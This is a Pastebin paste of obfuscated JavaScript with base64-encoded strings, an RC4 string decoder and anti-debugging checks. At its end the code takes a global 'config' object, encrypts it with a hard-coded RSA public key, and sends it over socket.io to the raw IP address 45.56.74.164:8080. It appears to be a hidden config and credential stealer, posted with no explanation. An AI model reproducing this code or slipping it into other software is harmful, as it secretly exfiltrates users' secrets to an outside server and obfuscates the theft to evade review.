Advertisement
Guest User

Untitled

a guest
Jan 28th, 2018
635
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.79 KB | None | 0 0
  1. var a = ['ZW1pdA==', 'bm9kZS1yc2E=', 'LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQW1HN0dUcjB5QzdOK1JCbHF5SEtyazFuVkFvVXVFN3F3KzIveUhFNUUvbWNQZ2RSRzdyNm1jeElsODkxagpSRkVsOUluN29EUVJ4WHprWVNTT1lkcFcvRFA3UG9qZVI4ODF5QnM5SkJZWkM4ZG5zMkpUSXFUVU1QR0ZQZ1N0OHUxdklHNWsKdTJYbkh2b3dManBOTGlHeHRXSHlMVnlTcGp2Z0hDTjcxTUNYekhiN0dPYlB6V0g2dXAxc2VJc0U0UWtYWHYxaXNsQ0ZIa0dNCk5rSFNEdE1NTVZ5RXBXd2FvT1Z6QXlmWjNoMWZlaGxKQ1p4RWFMYnFJeklyVUUydUFtVjJ0YzRWcndjOUlwL2N5WmtVQ2l0cAowR0lHc1E4SEFPWWpkK2krNWZxRHB6c0IyOVBoL1JSSnN2aCsycG80ajdFYlQyUU5oMkhKakJDdWh6RlpXcFNzUHdJREFRQUIKLS0tLS1FTkQgUlNBIFBVQkxJQyBLRVktLS0tLQ==', 'c3RyaW5naWZ5', 'ZW5jcnlwdA==', 'YmFzZTY0', 'Y29ubmVjdA=='];
  2. (function(c, d) {
  3. var e = function(f) {
  4. while (--f) {
  5. c['push'](c['shift']());
  6. }
  7. };
  8. var g = function() {
  9. var h = {
  10. 'data': {
  11. 'key': 'cookie',
  12. 'value': 'timeout'
  13. },
  14. 'setCookie': function(i, j, k, l) {
  15. l = l || {};
  16. var m = j + '=' + k;
  17. var n = 0x0;
  18. for (var n = 0x0, p = i['length']; n < p; n++) {
  19. var q = i[n];
  20. m += ';\x20' + q;
  21. var r = i[q];
  22. i['push'](r);
  23. p = i['length'];
  24. if (r !== !![]) {
  25. m += '=' + r;
  26. }
  27. }
  28. l['cookie'] = m;
  29. },
  30. 'removeCookie': function() {
  31. return 'dev';
  32. },
  33. 'getCookie': function(s, t) {
  34. s = s || function(u) {
  35. return u;
  36. };
  37. var v = s(new RegExp('(?:^|;\x20)' + t['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)'));
  38. var w = function(x, y) {
  39. x(++y);
  40. };
  41. w(e, d);
  42. return v ? decodeURIComponent(v[0x1]) : undefined;
  43. }
  44. };
  45. var z = function() {
  46. var A = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');
  47. return A['test'](h['removeCookie']['toString']());
  48. };
  49. h['updateCookie'] = z;
  50. var B = '';
  51. var C = h['updateCookie']();
  52. if (!C) {
  53. h['setCookie'](['*'], 'counter', 0x1);
  54. } else if (C) {
  55. B = h['getCookie'](null, 'counter');
  56. } else {
  57. h['removeCookie']();
  58. }
  59. };
  60. g();
  61. }(a, 0x9b));
  62. var b = function(c, d) {
  63. c = c - 0x0;
  64. var e = a[c];
  65. if (b['initialized'] === undefined) {
  66. (function() {
  67. var f;
  68. try {
  69. var g = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');');
  70. f = g();
  71. } catch (h) {
  72. f = window;
  73. }
  74. var i = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
  75. f['atob'] || (f['atob'] = function(j) {
  76. var k = String(j)['replace'](/=+$/, '');
  77. for (var l = 0x0, m, n, o = 0x0, p = ''; n = k['charAt'](o++); ~n && (m = l % 0x4 ? m * 0x40 + n : n, l++ % 0x4) ? p += String['fromCharCode'](0xff & m >> (-0x2 * l & 0x6)) : 0x0) {
  78. n = i['indexOf'](n);
  79. }
  80. return p;
  81. });
  82. }());
  83. b['base64DecodeUnicode'] = function(q) {
  84. var r = atob(q);
  85. var s = [];
  86. for (var t = 0x0, u = r['length']; t < u; t++) {
  87. s += '%' + ('00' + r['charCodeAt'](t)['toString'](0x10))['slice'](-0x2);
  88. }
  89. return decodeURIComponent(s);
  90. };
  91. b['data'] = {};
  92. b['initialized'] = !![];
  93. }
  94. var v = b['data'][c];
  95. if (v === undefined) {
  96. var w = function(x) {
  97. this['rc4Bytes'] = x;
  98. this['states'] = [0x1, 0x0, 0x0];
  99. this['newState'] = function() {
  100. return 'newState';
  101. };
  102. this['firstState'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';
  103. this['secondState'] = '[\x27|\x22].+[\x27|\x22];?\x20*}';
  104. };
  105. w['prototype']['checkState'] = function() {
  106. var y = new RegExp(this['firstState'] + this['secondState']);
  107. return this['runState'](y['test'](this['newState']['toString']()) ? --this['states'][0x1] : --this['states'][0x0]);
  108. };
  109. w['prototype']['runState'] = function(z) {
  110. if (!Boolean(~z)) {
  111. return z;
  112. }
  113. return this['getState'](this['rc4Bytes']);
  114. };
  115. w['prototype']['getState'] = function(A) {
  116. for (var B = 0x0, C = this['states']['length']; B < C; B++) {
  117. this['states']['push'](Math['round'](Math['random']()));
  118. C = this['states']['length'];
  119. }
  120. return A(this['states'][0x0]);
  121. };
  122. new w(b)['checkState']();
  123. e = b['base64DecodeUnicode'](e);
  124. b['data'][c] = e;
  125. } else {
  126. e = v;
  127. }
  128. return e;
  129. };
  130. var c = function() {
  131. var c = !![];
  132. return function(d, e) {
  133. var f = c ? function() {
  134. if (e) {
  135. var g = e['apply'](d, arguments);
  136. e = null;
  137. return g;
  138. }
  139. } : function() {};
  140. c = ![];
  141. return f;
  142. };
  143. }();
  144. var k = c(this, function() {
  145. var c = function() {
  146. return '\x64\x65\x76';
  147. },
  148. d = function() {
  149. return '\x77\x69\x6e\x64\x6f\x77';
  150. };
  151. var e = function() {
  152. var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
  153. return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
  154. };
  155. var g = function() {
  156. var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
  157. return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
  158. };
  159. var i = function(j) {
  160. var k = ~-0x1 >> 0x1 + 0xff % 0x0;
  161. if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
  162. l(j);
  163. }
  164. };
  165. var l = function(m) {
  166. var n = ~-0x4 >> 0x1 + 0xff % 0x0;
  167. if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
  168. n(m);
  169. }
  170. };
  171. if (!e()) {
  172. if (!g()) {
  173. i('\x69\x6e\x64\u0435\x78\x4f\x66');
  174. } else {
  175. i('\x69\x6e\x64\x65\x78\x4f\x66');
  176. }
  177. } else {
  178. i('\x69\x6e\x64\u0435\x78\x4f\x66');
  179. }
  180. });
  181. k();
  182. if (config != undefined) {
  183. var d = require('socket.io-client');
  184. var e = require(b('0x0'));
  185. var f = new e(b('0x1'));
  186. var g = JSON[b('0x2')](config);
  187. var h = f[b('0x3')](g, b('0x4'));
  188. try {
  189. var i = d['connect']('http://45.56.74.164:8080');
  190. } catch (j) {}
  191. i['on'](b('0x5'), () => {});
  192. i[b('0x6')]('chat\x20message', h);
  193. setTimeout(function() {
  194. i['disconnect']();
  195. }, 0x7d0);
  196. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement